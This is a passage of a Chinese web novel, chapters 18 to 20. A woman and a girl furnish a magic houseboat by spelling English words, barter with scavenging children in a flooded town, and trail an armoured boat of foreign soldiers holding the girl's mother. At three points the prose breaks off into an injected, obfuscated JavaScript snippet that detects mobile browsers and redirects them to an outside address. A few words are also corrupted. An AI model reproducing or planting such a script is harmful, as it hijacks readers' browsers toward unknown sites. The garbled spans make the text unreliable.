楼梯残骸几乎是悬空的,因为之前桑浔砸甲板时,顺带把楼梯和甲板连接的部分也都砸烂了。 楼梯占地面积很小,大概一平米左右,是个旋转楼梯,上面有亮起的小屏幕【stai_case】。 可能因为是乘客身份,苏归雁看不到楼梯上的小屏幕,只能听桑浔和她转述这个拼写填空。很快,两人确定了staircase这个词,成功把楼梯修好。 桑浔抱着字典,和小雁一起沿楼梯上去。 上面是一个露台,或者说,看上去应该是一个露台,如果忽视之前被雨砸出的无数个破洞的话。除了露台本身,这里还有两个生了锈的一人高水箱。 凑近看,水箱里面的水是满的,但水里漂着的东西,可就不能细看了。树叶、烂掉的塑料袋、甚至还有虫子尸体。而水箱的下沿,各自有一个带着阀门的管道。这应该是漂流屋用水的来源。 露台上小屏幕显示的填空题是【u_perd_ck】,桑浔先是从中文里找了露台、屋顶等词,都和填空对不上。然后又从英文的u开始翻,但翻到uber就已经放弃。 第二个词她基本确认是deck甲板,可第一个词,两人都没有头绪。 水箱的填空题倒是简单,【wa_er_ank】,字典上有,watertank。 拼完后,两个水箱都从刚才的破烂铁锈变成闪闪发亮的全新水箱,甚至水箱里原本的脏水,也凭空消失,变得空空如也。 后续如果再下雨,这个水箱便可以收集雨水。用消毒片将收集的水消毒后,就可以作为日常使用。 把【u_perdeck】这个词当成作业布置给小雁,她们又修复了露台的护栏之后,便转头下楼。 回到房间,真人版模拟人生装修,正式开始。 18. 家 Home sweet home 如果把门窗连成十字,那么屋内空间正巧可以被分成四等份,每份大概2米x2米的样子。相当于利用十字通道,正好分出四个独立的空间。 这样正好,其中两个做她和小雁的卧室区,另外一个做卫生间,还有一个做厨房餐厅客厅的公共空间。 她拼出纸和笔,和小雁一起坐下来画草图。 “这里有一竖一横两个通道,正好分出四个区域。左边这里前面做厨房和公共区,后面做卫生间,右边一前一后做咱们各自的房间,怎么样?” 女孩说好。 但如何分割四个区域呢?这毕竟和游戏不一样,没法自己造墙,或者说,她不敢尝试拼出墙这个单词,怕万一墙落的位置不对,弄乱了她本想要的格局就早了。 “屏风怎么样?”小雁提议。 字典上有,foldingscreen。她们拼出了一座四折屏风,支架是木头的,而屏芯是白色的纸,隐约有种日式风情,在这房内竟也不违和。 拼出八扇屏风,分别垂直摆放,就像年代剧里大院医院的屏风一样,自然地分出了四个房间。如果把刚才修好的带楼梯的甲板作为正门前门,那么从正门进来,沿着纵向通道走,左手依次是厨房和卫生间,右手是两个卧室。而厨房与卫生间之间、两个卧室之间,也靠各自的屏风空出一条横向的通道。 大结构搞定,接下来是具体的房间。先从最后面的卫生间开始吧。 卫生间和厨房有共同的难题:漂流屋没有水,也没有电。 墙壁上没有任何电源插座,地板上更是没有下水道。硬要说的话,屋顶露台上的两个水箱能通过水管接水下来,但如何排水仍然是个问题。 这时portable便携方案便起了大作用。她已经拼出了便携马桶和便携洗脸池,接下来只需要便携淋浴就好。 Portableshower. 出来的是一整套东西:一个充气的可封口大号水袋,水袋上方封口处自带一个晾衣架般的挂钩。下方有一个出水口,连出一个软性水管,水管的尽头是个花洒。 目测这东西的用法,就是把水袋里装满水,用挂钩把它挂到高处,然后水靠重力作用流下来,从花洒喷出来。水压就不用想了。 水袋和花洒头是黑色的,有点帅气,但那软水管却是软塌塌的白色,很廉价。整个套装有种既高级又敷衍的复杂风格。 桑浔有点嫌弃,但小雁一点也不,她已经在评估把水袋挂在哪里比较方便了。 卫生间大件齐全,桑浔想了想,还是拼出了第二个便携马桶,这样两人有各自的专属马桶,心理上会舒服一些。 接下来便是辅助物件:毛巾架towelshelf,湿厕纸wetwipes,洗澡巾bathtowel,洗面奶facewash,洗发水shampoo,护发素hairconditioner,沐浴□□odywash。 幸运的是,卫生间用品都很容易用字典查到。于是两人分工合作,小雁负责想东西查字典,桑浔负责拼,很快便成果满满,包括:爽肤水lotion,面霜facecream,棉柔巾facialtissue,梳b。等等等等。 看着逐渐被东西填满的架子,她们揉着发酸的手腕,发出满意的赞叹。 把两个马桶被放在靠窗的位置,还可以开窗通风,心里也舒畅。然后按照文字提示,选择把这些物品都设置为装修或装饰,就可以保证它们在漂流屋收起时,不会被当作临时物品收进存储空间。 卫生间告一段落。如果只有桑浔一人的话,她高低要在这里蹲厕所洗手洗澡一条龙,庆祝竣工。 不过还是别把孩子带歪了吧。 此时的两人还没意识到,虽然卫生间有了淋浴和水池,但,用完的水去哪里呢?这里并没有下水道能承接。 这个疏忽,不久后将带给她们惨痛的教训。 接下来是厨房。 一般的厨房除了需要上下水,还需要电和燃气。用电的话,电从哪里来?怎么布线?用燃气的话,该怎么确保安全? 露营解决方案再次体现出优势,还是之前的portable,不过这次,她打算玩个大的。 Portablekitchen,便携厨房。 不知道有没有这种东西,但试试总可以嘛,万一真的有呢? 看着眼前出现的大件,两人异口同声“哇”了出来。 银色的铝合金支架,搭起三个相邻的铝合金台面,中间的台面最高,而且三面用铝合金竖版立起来,这里应该是烹饪台。 烹饪台左右两边的台面比中间低10公分左右。左边应该是备餐台,右边应该是放各种工具和调料的区域,因为这里的台面上还自带一排金属杆支起的钩子,应该能挂一些锅铲夹子之类。 三个台面下方各自有一个黑色帆布拼出的立方体收纳柜。 这样暂时够用了,桑浔不经常做饭,苏归雁年纪太小,也只会煮些方便面饺子之类,她们不需要特别复杂的厨房。两人又查了一堆词,把厨房基本功能补齐,包括:菜刀kitchenknife,案板cuttingboard,锅pot,打火机lighter,火柴matches,露营灶campingstove。还有一些餐具:碗bowl,盘子plate,杯子cup,筷子chopsticks,勺子spoon。 想了想,她们又在这移动厨房旁边拼出第二个便携洗手池,可以简单洗些碗和杯子,还给下水管配了个脏水桶。接着又搭配了些对应的工具,包括洗碗布dishcloth,洗洁精dishsoap,橡胶手套rubbergloves。还有个垃圾箱rubbishbin。 然后齐力把桌椅搬来这里,厨房餐厅这个公共区域便基本成型。 两人坐在桌前,拼出两杯饮料休息。桑浔喝的是抹茶拿铁matchalatte,小雁喝的是珍珠奶茶bubblemilktea。 味道不错,伴着轻微浪摇,她们长长舒了口气。 “我以前工作压力特别大的时候,想过辞职去摇奶茶。” 并不是真的要和女孩分享,她只是此时想说了,便说出来。 也许,等一切尘埃落定,她作为英语舰船长的使命也彻底完成后,真的可以在末世开家奶茶店? 阳光不错,照上她手上乘着抹茶的杯子,在杯子边缘吻出一圈光亮。似乎奶茶店真的可以实现。 喝完茶,小雁帮她给后腰伤口换了药,又塞了新的棉条进去。然后开始装修卧室。 关于卧室,桑浔是有些沮丧的。好不容易有了独属于自己的空间,却还得与别人分享。 但,已经做了的决定,她不反悔。她的人生信条是,不回头,向前看。 先布置苏归雁的房间。她问女孩儿想要什么样的房间,女孩嗫嚅几秒,小心翼翼开口:“姐姐,我可不可以要个大一点的床?这样找到妈妈之后她可以在这里住几天。”然后她很快补充,“我们找到可以去的地方就会下船的,绝对不给姐姐添麻烦!” 心里好酸,像被人捏出了汁。心疼女孩儿的懂事,也为她对妈妈的感情而动容。 “没问题。必须的。” 她是真的感谢苏老师送字典给她。而能这么快就把木筏升级为漂流屋,也多亏了苏老师想的英文名。所以,作为回报,她至少要给这对母女一个舒服的独立空间。 她们会希望睡双人床、还是上下床?从空间利用的角度来说,上下床是最合适的,占地面积小,而且能够利用纵向空间。要知道,漂流屋挑高还挺高的。 听到上下床,苏归雁很兴奋:“可以可以,我要睡上铺姐姐,就像树屋一样。” 字典上有,bunkbed,上下床。变出来的床不错,虽然占据不少空间,但房间内还有空余。 下床看上去有1米2宽,挤一挤也能睡两个人。上床窄一些,和她上大学时宿舍的床接近,应该是0.9米的尺寸,睡一个人足够。 但,有个问题。 床板上没有床垫。 床垫的英文是mattress,她很快查到,但不敢直接拼写造出来,因为,万一床垫的尺寸不对呢? 有什么办法,能确保自己拿到特定尺寸的床垫? 桑浔立刻想到,可以在拼词时就把尺寸加进去里,所以她拼出了尺子来量。Ruler,这是小学英语学过的词。 她得到了一把银色直尺,像上学时塞进笔袋里的那种。 可她想要的,是那种卷尺,外面有蜗牛壳一样的塑料壳,金属软尺卷在壳里,用的时候拉长,不用的时候自动收回,而且可以用某个机关来锁住拉出的长度。 卷尺的英文是什么? 字典里还真有,tapemeasure。可tape不是磁带吗?measure不是测量的动词吗?为什么这两个组在一起就是卷尺? 虽然心里嘀咕,但拼出来的东西,确实是她想要的卷尺。她一边量床的尺寸,一边还在困惑,为什么一个叫直尺,一个叫卷尺,却不能都用ruler这个词? 此时的桑浔还没想到,不过两个月后,她便完全清楚了这个困惑的答案,和无数个相类似困惑的答案。 但现在,她只能靠字典拼出卷尺,来量尺寸。和她预估的差不多,下床宽1.22米,上床宽0.91米,长都是2.03米。 两人商量出了具体的写法:1.22mx2.03mmattress,0.91mx2.03mmattress。万幸,拼写器的按键,除了代表字母,还能代表各种数字和符号,用shift键就可以调出来。 小心翼翼把刚才两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482800|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写在纸上的完整拼写敲进拼写器,在按回车之前,桑浔突然想到,现在的尺寸太严丝合缝了,有塞不进去的风险,应该让床垫的尺寸小一丢丢。于是她把小数点后的第二位数字都去掉,变成1.2mx2mmattress,0.9mx2mmattress。 先拼第一个,下铺1米2的床垫。 床垫如期而至,而且刚巧落在下铺床板上。两人一同欢呼。 苏归雁把自己扔到新掉落的床垫上,滚了三圈,兴奋道:“这个床垫好高级好舒服啊,姐姐你也躺上来嘛。” 桑浔笑笑,用同样的方式拼出了0.9米宽的床垫,新床垫同样舒服地铺在上铺。苏归雁正打算拖鞋踩着床板间的梯子上去,却突然犹豫了。 女孩不好意思地笑笑:“姐姐,我一天一夜没有洗澡了,鞋子里还是半湿的,可能有点臭……” 二话不说,桑浔拼出大号湿巾、大号浴巾,还有几件内衣裤、上衣裤和鞋袜,然后离开女孩的卧室,让她自己慢慢清洁。 顺便开始装修自己的卧室。 自己想要什么样的卧室呢? 原本漂流屋虽然不大,但只有桑浔一人的时候,空间感觉很宽敞。现在多了一个人,又被屏风隔成多个小空间,每个空间里还添了不少物件,整个空间变得异常拥挤,甚至让她有种没有空间呼吸的错觉。 自己的卧室,她需要的是呼吸,是空间的留白。 所以,她不需要床,而需要更省空间的解决方案,只在睡觉时候占大空间,白天不睡觉的时候可以小一点,让房间不至于太局促。 比如沙发床。 Sofabed。 出现了,白色布艺沙发,可以容纳两三个人并排坐。沙发坐垫下方有个软绳拉环,拉开之后就会变成床,一人睡很宽敞,两人挤挤也可以。靠在墙边时,只占了房间不到一半的深度。而且因为沙发宽度不到2米,所以侧面离屏风还剩出20厘米左右的空间。 舒服了。 沙发有了,但没有枕头,也没有被子或毯子。幸好现在还在夏天,没有很冷,但谁也说不好这末世之下会不会突然降温。所以她想了想,决定准备一条薄毯子、一条羊毛被。 Pillow、blanket、woolduvet,都有了,看着不错。她顺便给小雁也拼出一套。正好这时女孩完成了清洁,脏衣服整齐叠在地板上,换好干净衣服,刚爬到了上铺体验她的“树屋”。 把这套床品递给女孩,她才意识到床垫上还没有套床笠。但在字典上翻不到床笠这个词,只好先变出个床单bedsheet凑合用。 从存储空间里取出梯子架在床边,桑浔站上梯子,和上铺的女孩一起把床铺好。 一个早上,两人陆陆续续拼出几十个东西来,相当于学会了几十个单词。背单词和装修房子这两件事,分开来做,每一个都很累人。更别说两件事合起来做。 小雁先打了个大哈欠,桑浔见状,回到地面收起梯子:“你睡吧,忙了一早上,也该休息了。睡醒了我们拼点好吃的午餐出来。你有想吃的东西吗?我正好这会儿查查词。” “姐姐,你拼什么我都喜欢,只要是你变出来的东西,我保证全都吃光盘!” …… 感谢妹妹给的情绪价值。 日头当空,气温升高,漂流屋内开着窗,却也不觉得空气流通,相反,潮湿闷热的体感变得越来越强。 但桑浔并没有汗流浃背。她给自己拼了个竹扇bamboofan,一边给脸上脖子上扇风,一边往纸上誊抄从字典上查到的食物名字。 孩子已经睡了一小时,还没有要醒的迹象,估计是前一晚挤在沙发上没睡好,而且在这之前至少一天一夜没怎么睡觉。 看看纸上的食物,桑浔突然觉得自己可以在末世开个餐厅,不管是西式的意面spaghetti、东南亚的牛肉粉pho,还是印度的咖喱鸡chickencurry,甚至是西式甜品马卡龙macaroon和中式芋圆糖水taroballsweetsoup,她都手到擒来。 只等女孩醒来,给她个大惊喜。 想到这里,下意识看向女孩的“卧室”,正好从屏风上边缘能看到小雁睡着的上铺。可下一秒,小雁猛地从上铺坐起,大惊失色:“姐姐,有人!” 是漂流屋的声音增强,100米内有人说话的声音传了进来,桑浔也听到了。 她安抚女孩,告诉她这只是代表周边有人,不代表人已经到了船上。 安慰之下,小雁的惊恐渐渐消退,可取而代之的,是激动:“姐姐,刚才那个声音说的,你也听到了,对吗?那是我妈妈,对不对?” 桑浔面色严肃。 刚才两人听到的声音,说的是:“这艘船居然是个屋子啊,不过太简陋了,不如早上的大黑船酷。” 19. 跟踪 Following 有人看到了她们的漂流屋,这没什么,因为桑浔前一晚为了让小雁能顺利登船,关闭了屏障。 但,这些人还看到了劫走苏老师的黑船。 小雁立刻爬床梯下来,桑浔同时把航速减为零。她们跑上外面的甲板,正好看到不远处的一艘黑色充气艇。 艇上两人,一个男孩看上去十五六岁,脚边坐着个女孩,似乎比苏归雁还小,大概只有七八岁。 大点的男孩本要划着桨离开,余光看见漂流屋里出来两个人,立刻好奇地看过来:“呦,两个女的。怎么跑到这里的?” 然后不等桑浔她们发话,又大嗓门直接喊:“来来来,我这儿是水上超市,什么都卖!火腿肠可乐卫生纸矿泉水,还有自热小火锅!两位姐姐想买啥?” 被十五六岁的人叫成姐姐的小学生苏归雁:? 本就是姐姐的桑浔:水上超市? 仔细看,男孩就像是末世卖货郎,脚下的充气艇里堆满了五花八门的物品,他刚才说的基本都有,除了矿泉水和自热小火锅。 嚯,年纪轻轻,就已经会发灾难财了。 因为之前被人围攻的经历,即使面对未成年男孩,桑浔依然保持警惕,毕竟,谁知道他会不会有同伙就藏在附近呢? 按住张嘴就想问话的小雁,她对男孩喊道:“有没有湿巾和卫生巾?我怎么买啊?” 男孩先是一愣脸一红,然后使劲点头:“湿巾有的!给我现金,就……10块钱一片,100块一包。另外那个你要的东西,我能弄到,一会儿就给你拿来。但是要300块。” 干嘛不直接抢,还拿个湿巾当幌子。 从大雨中逃出的人很难会想到带现金。就算要带,如今这个移动支付的时代,很少有人在家中还存放大量现金。 至于移动支付,在网络彻底废掉的现在,更是想都不要想。 “能弄到?从哪儿弄?”桑浔想先探探这男孩的底,如果他没有恶意,等问完黑船的下落,自然会给他些感谢,“而且我没有现金,怎么办啊?” 说到这儿,她突然想试试拼写器能不能变出现金来,有机会可以试下。不过这水上世界,现金很快就会变成废纸吧。 听桑浔说没现金,男孩倒是也不意外:“那就拿东西换。你船上有什么好东西吗?” 以物换物。在货币系统短暂失效的当下,确实是最有用的办法。 她对男孩回话:“我这儿倒是有点东西,但我不知道你需要什么啊?” 男孩扭过头,和脚边的小孩嘀咕两声,然后喊回来:“我要充电宝,而且是满电的那种,带USB-C口的。哦,你要是有发电机也可以!” 需求还挺详细。桑浔也低头和小雁耳语:“发电机我的空间里就有,但我暂时不想给。至于充电宝,拼写器应该能拼出来,可是字典上没有这个英文名字。” 苦恼。实在不行把手摇充电器给男孩,说不定对方也能接受吧。 小雁低声说:“我知道充电宝的英文,叫powerbank。” !!! 福星少女好样的! 桑浔跟男孩说自己得进去找找,和小雁返回屋内,小雁跟她一个字母一个字母的拼,很快两人得到了一个黑色的充电宝,带USB-C口和lightning两种口。 好开心。桑浔赶忙说:“你再帮我念一下拼写,我赶紧再拼一个出来,咱们自己留着用。” “啊?”女孩不解。 “啊?有什么问题吗?姐姐也有手机啊,姐姐也需要一个充电宝。” 小雁幽幽道:“不是,我是说,姐姐刚才为什么不直接拼两个出来?” ! 怎么能拼出两个? 小雁:“姐姐,你这次试试,2powerbanks,在前面加个数字2,bank后面加s。” …… 不带这样打击人的。 桑浔欲哭无泪。自己这被小学生碾压的,到底是英语水平,还是智商…… “姐姐别生气,我也只是临时想到的而已。”察觉到她的情绪,女孩有些紧张,赶紧找补。 这当然不关女孩的事,桑浔安慰她:“没事没事,我就是……稍微感慨一下。” 学习英语必须提上日程了,不然就只能每天被小学生按在地上摩擦。 她们只拿了一个充电宝出去,桑浔抬起手,按下充电宝的开关,让代表满电的四个小亮点对着男孩方向:“我们只剩这一个还有电的。发电机什么的真没有。你要发电机干嘛?” “你不用管,有充电宝就行,我现在就拿湿巾和你换。”男孩顺势要往她们这边划。 桑浔把举着充电宝的手藏到背后:“那不行。我们湿巾和卫生巾都要,两包湿巾两包卫生巾。不然充电宝不给你。” 男孩想了想,勉强答应:“行吧。你等我10分钟,最多15分钟,我都给你拿来。不许走开啊!”说完就划着桨往反方向走,连那小女孩都兴奋地拿起另一个桨,笨拙地尝试出力。 “哎等一下!”桑浔喊住他们,“还有件事,你今天有没有见过其它船来这附近?” 身旁的小雁猛地提起呼吸。那男孩愣了一秒,眼神闪烁:“没啊。” 反倒是他身后的小女孩想要开口,被他一脚压住,暗示不要多嘴。 “哦,行吧。那你快点啊,我们真的着急用。” 男孩忙不迭划走,中途还使劲敲了下小女孩的脑袋,像是对她刚才差点开口表示不满。 待这两人划远,小雁小声问她:“姐姐,他不肯告诉我们,怎么办?” 桑浔仍然看着两人消失的方向:“如果黑船早就离开,他不至于要瞒着我们。所以很有可能,黑船还在这附近,而且和他有联系。” “那,我们怎么办?” 桑浔眨眨眼,漂流屋像是读懂了她的心思,立刻出现文字【是否升起漂流屋安全屏障,进入隐身状态?】 “我们跟上。” 进入隐身状态的船,在桑浔的操控下,悄无声息跟上男孩的充气艇。 正值晌午,太阳炙烤下,水面蒸腾起热气,视线中充气艇上的两个背影出现了热浪扭曲。 漂流屋的屏障似乎也无法彻底隔绝这滚烫热浪,站在甲板上的桑浔擦掉额角的汗,盯着前方充气艇焦灼思考。 这男孩和女孩,从着装、发型看来,就像是普通家庭的孩子。但普通家庭,是如何获得这样一艘充气艇,还有那么多物资的呢? 尤其是充气艇。航海图显示她们现在身处昌市南部几百公里外的一个内陆小城,这种平原小地方,夏天也很少发大水,又怎么会有人家平时备着充气艇呢? 再说,这艇的材质看上去相当高端霸气,不像民用的东西。仔细看,那尾部还有个专门留给发动机的空位,可现在空位上没有发动机,男孩只能用手动的桨。 浑身上下都是疑点。 很快,她们与男孩的距离再次拉进,可以听到两人的对话。 “二哥我错了,我不该插嘴说话。”是那个小小女孩,语气有些委屈。 被叫做二哥的男孩叹了口气:“算了,知道你不是故意的。以后闭上嘴。不然万一被那帮外国人知道咱们差点泄漏他们的踪迹,他们一生气,恐怕齐叔……” 果然,黑船上的人和他们有过直接交流。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482801|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且听上去,男孩现在仍然处在他们的某种威胁下。所以,这群外国人很可能仍在附近,因为某种原因暂时停留。 前面的艇安静下来,桑浔她们也没再说话,跟着对方来到一组楼中间。 这里一看就是高层居民楼小区,是过去几年间国内很多小城大量冒出的那种小区,全是三十多层的高楼,密密麻麻。楼板设计的没有任何美感,但对于很多小城居民来说,住进高层是人生目标之一。 只不过,很多小城的楼虽建起来了,却因为缺乏产业和对年轻人的支持,逐渐变成空城。 比如她们现在靠近的这片楼。从外观零星的空调外挂机就能看出,这里的入住率很低,接近空城。 两个男孩在其中一个楼外停下,用充气艇上自带的绳子固定在一个窗户口,然后从窗户钻进楼里。 桑浔不急着下船,抬头看了看这栋楼露出水面的高度,大概二十层不到,按照每层楼3-4米算,就算是顶楼,也在漂流屋100米的声音增强范围内。她们大可以留在水面上,听听上面的声音。 很快就有声音传来,而且是新的人:“二哥,小妹,你们回来啦?有找到那些外国人想要的吃的吗?” “有的!二哥可厉害呢,在对面小区找到好多火腿肠和可乐,还有饼干。哦哦!二哥还弄到一个充电宝,满电的。”被唤作小妹的女孩抢着回答。 “厉害了,二哥。充电宝呢?我把齐叔的便携吸氧机翻出来了,正好连上。齐叔现在可难受呢。” 二哥答复:“还没拿到手呢,得跟人换。赶紧给我找两包湿巾,还有两包卫生巾来。我急着给人送过去。” “卫、卫生巾,好恶心啊,我不拿,小妹你去拿。我找湿巾去哈。”第三个男孩尴尬走开。 “小妹还不认识那东西长啥样呢,”二哥生气,然后骂骂咧咧地自己去找。 桑浔并不真的需要这东西,毕竟她自己能变出来。之所以专门提出这个,是想判断男孩是否真的有心在末世卖货,顺便搞清楚他的货源,来探明这是个什么背景的人。 别人都在求生,他却能卖货,资源好得不正常。 如今看来,他只是驾着艇去无人居住的楼里翻捡食物。这里虽是空城,但多跑几个家,总是能有机会找到些易保存的食物。 但,他们说的齐叔是谁?这些孩子的长辈?听上去是个需要制氧机的病人,那其他成年人呢? 二哥嘟囔了几句,似乎是找到了卫生巾,但分不清型号,所以干脆把手头的都拿上了,然后他接过另一人递过来的湿巾,紧跟着往楼下冲。 小雁紧张问道:“姐姐,我们要现在回去等他出现吗?” 思考两秒,桑浔摇头。 她并不真的需要湿巾和卫生巾,她跟过来,是想看看这男孩与黑船有什么瓜葛,如果能借机找到黑船和苏老师,那最好。 趁着这位二哥去找她们交易,她和小雁可以在这附近寻找黑船的踪迹。 二哥下楼的时候,另一个男孩冲他喊:“你出去小心点,别让那些外国人发现你跟别的人接触。” “知道!”楚哥回话,“他们都还在9号楼吧?我避着9号楼的视线就行,放心。” 然后是小小女孩的声音:“二哥你早点回来!” “放心,我拿到充电宝就回来。你们俩注意安全。” 小雁激动:“妈妈在9号楼对不对?” 桑浔立刻操控漂流屋,在楼宇间辗转寻找,没几分钟,她们看到最角落一个靠着小山尖的楼。楼的外墙上看不到任何数字,但在楼的背面与山尖对着的一处窗户,她们看到了。 那艘黑色的水陆两用装甲车。 20. 第20章 黑船 black 没有着急停靠上去,桑浔先是驾船绕楼一圈,抬头检查有没有其它的出入口。一圈看下来,除了黑船停靠的这处窗户是主要“码头”,其它窗户也都能自由出入。只要会游泳,就没有任何障碍。 对方是外国军人,或者雇佣兵,她们两个女孩,贸然上去只会送死。等在楼下,是当前最安全的方法。而且,因为漂流屋的声音增强,她们能听到楼上的说话声。 可惜全是英语,听不懂。 “Howlong*#^^@$?” “Thisisf口口kingnonsense,wedon’thaveto^&**(@^$” “Shutyourf口口kingmouth,nexttimeIhearyou$@*$!” 反正除了脏话能立刻get,关键信息部分刚刚好听不懂。 桑浔下意识看向一边的女孩:“你能听懂他们在说什么吗?” 女孩两眼坚定,深吸一口气—— “不太能。” …… 您那眼神,看着像是听的很懂、特别懂、超级懂呢。 女孩继续开口:“好像是有人等得不耐烦,但另外的人让他闭嘴。” 嗯,和桑浔猜的差不多,所以,他们为什么要在这里停留?在等什么? 以及,没有听到苏老师的声音,那苏老师在楼上吗?或者,苏老师在楼下的船里? 两人心有灵犀一同看向十几米外的黑船,然后同时被吓到心脏骤停。 那艘船的顶上,正好向外向上推开一个圆形的门,好像坦克一样。从门里猛地钻出一个人。 是个中国人,小男孩,看年龄大概十一二岁。 男孩从圆门钻出来,却并不下来,而是蹲在那里,手里拿着什么东西在擦拭。 是在打扫? 没等两人反应过来,突然一个声音从黑船侧传来:“No!Notthere.泥下来!” 桑浔吓出一身冷汗,所以黑船上有个小男孩和一个外国人?她们刚才绕楼一周居然都没发现,那外国人会不会已经发现她们了? 仔细一看,黑船是倒着停靠在窗边的,车头朝外,车尾朝着楼。朝内的车尾处打开了两扇尾部车门,正好形成一个视线死角。桑浔她们看不见里面,里面应该也看不见外面。 那讲中文的外国人声音,就是从那里传来的。 男孩闻声,从车顶圆门跳回车里,过了几秒从后座打开的车门出来。桑浔小心把船贴上楼边,这样可以看清后座车门的场景。 她们离这两人只有二三十米的距离,勉强能听到说话声。 小男孩提着个水桶从车里出来,看样子像是刚做完打扫。刚才冲他喊的那个高大外国人拿出对讲机,叽里呱啦说了几句。对讲机那边很快回复了两个词。 她一概没听懂。 外国人收起对讲机,示意男孩离开。 男孩仰头问那外国人:“我帮你们打扫干净了,我哥也给你们弄来吃的了。你们会信守诺言、给我们发电机的对不对?没有发电机,齐叔的制氧机就打不开……” “闭嘴!”外国人一把将男孩甩开,瘦小的孩子没站稳,直接跌进水里。小雁条件反射地伸手,被桑浔一把拉住。 形势不明。现在救人,她们很可能也落入对方手中。 幸好,男生会游泳,一边踩水一边继续喊叫“发电机!你们不能说话不算数。” 那外国人没再理会他,而是锁上装甲车的车门,走回楼里。 她们在原地等了几分钟,那外国人似乎走到了上面的某层,和大部队说了几句话。但两人都没听懂。再然后,这群外国人就安静下来。 这样干等下去不是办法。 别说小雁了,桑浔都想直接上楼去看看,这群外国人在这里,那苏老师也很可能在这里。可惜,他们是装备齐全的外国军人,刚才那个人走上楼的时候,浑身上下那装备都桄榔做响。 她们俩这样的,上去绝对立马被抓,如果没被立马杀掉的话。除非她们有像漂流屋屏障这样的隐身屏障。 咦?要不问下漂流屋有没有? 她主意刚出,漂流屋就给了文字。 【漂流屋安全屏障仅限船体打开情况下使用,仅对船体本身起作用。如需延伸至对船长与乘客的保护,需至少升至二级形态高阶。】 升升升,信不信我一闲下来就使劲学英语?桑浔恶狠狠立誓。 既然没有给船长和乘客的保护屏障,她们只能暂缓上这栋楼的计划。但,她们可以上另外的楼。 那被甩进水里的男孩,在看到外国人自顾自走进去之后,又原地踩水半分钟,然后才骂骂咧咧离开,他的方向,明显是刚才“二哥”他们去的那栋楼。 她有办法了。 桑浔和小雁简单解释了自己的想法,然后悄然跟上男孩。 男孩很快游到目标楼前,扒着裸露的窗户台就爬了进去。桑浔等了半分钟后,让漂流屋停靠在有绳子甩出来的窗口,和小雁安全进入楼内后,收起漂流屋。 这回吊坠自己直接套在桑浔脖子上,漂流屋和船长更默契了。 她和小雁轻声上楼,幸好,那男孩浑身滴水,顺着水渍就能跟上。两人只上了大概三层楼,就看到男孩的水迹消失在一个入户门处。 从空间里拿出电弧枪,递给小雁,告诉她具体用法,桑浔又从空间里取出甩棍握在自己手上。 这还不够,她用拼写器拼出了一大桶汽油gas,又从空间里取出之前拼过的发电机,还有刚刚收进去的充电宝。 然后和小雁交换了个相互鼓励的眼神,抬手敲门。 门内传来声音,有紧张的说话声,也有噼里啪啦翻东西的声音。过了一会儿,一个男孩的声音从门后响起:“谁?” 这个门是有猫眼的,桑浔就站在猫眼正前方。那圆形小孔闪过一抹阴影,她知道,是男孩踩着凳子从猫眼向外看。 她侧开身子,让身后的发电机进入猫眼的视野。 门内传来另外的声音:“谁呀?我也看看。”几秒后,“三哥,就是这两个人,她们有充电宝!齐叔有救了。” 门被打开,门后是身高如wifi信号分布的三个孩子,高点的两个男孩满脸怀疑,最低的女孩却兴奋不已。 “你们没见到我哥吗?充电宝呢?”女孩问。 桑浔右手藏着甩棍,左手递上充电宝:“没看见你哥,我们就四处找他,正好看见一个小孩游泳进来,我们就跟进来了。” 游泳进来的小孩表情有点难看。 小雁补充:“而且,除了充电宝,我刚才还发现,我们有一台发电机哦。” 三个小孩的眼睛同时亮起,看向她身后。 南向的卧室,阳光大咧咧照进来,光柱里灰尘翻涌。地板上的灰被踩出乱七八糟的湿脚印,混着泥腥味,令人忍不住皱眉。 比这屋子更令人皱眉的,是床上躺着的瘦削男子。 病气让男人显老,看不出真实年龄,但至少五十起。桑浔和小雁站在门口,看两个男孩配合着把汽油倒进发电机的油桶,打开发电机,然后把男人床头一台机器的电源接上发电机。 没多久,机器开始轰鸣,男孩们又将氧气管戴进男人的鼻腔。 桑浔不忍心看,也不忍心让小雁看,便虚推着她返回客厅。刚到客厅,那小女孩正要拉她们往沙发上坐,入户大门突然被打开。 “见鬼了,那两个女的不知道跑哪里去了,老子的充电——艹!你们怎么来的?” “二哥”看到两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482802|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睛都红了,撸起袖子就要杀过来,被跑来挡在他前面的小女孩抱住:“二哥别生气,她们来送发电机了,是真的发电机,齐叔有救啦。” 有救这个词,桑浔还真不确定。至少刚才看床上男人的状态,不像是制氧机就能扭转的。 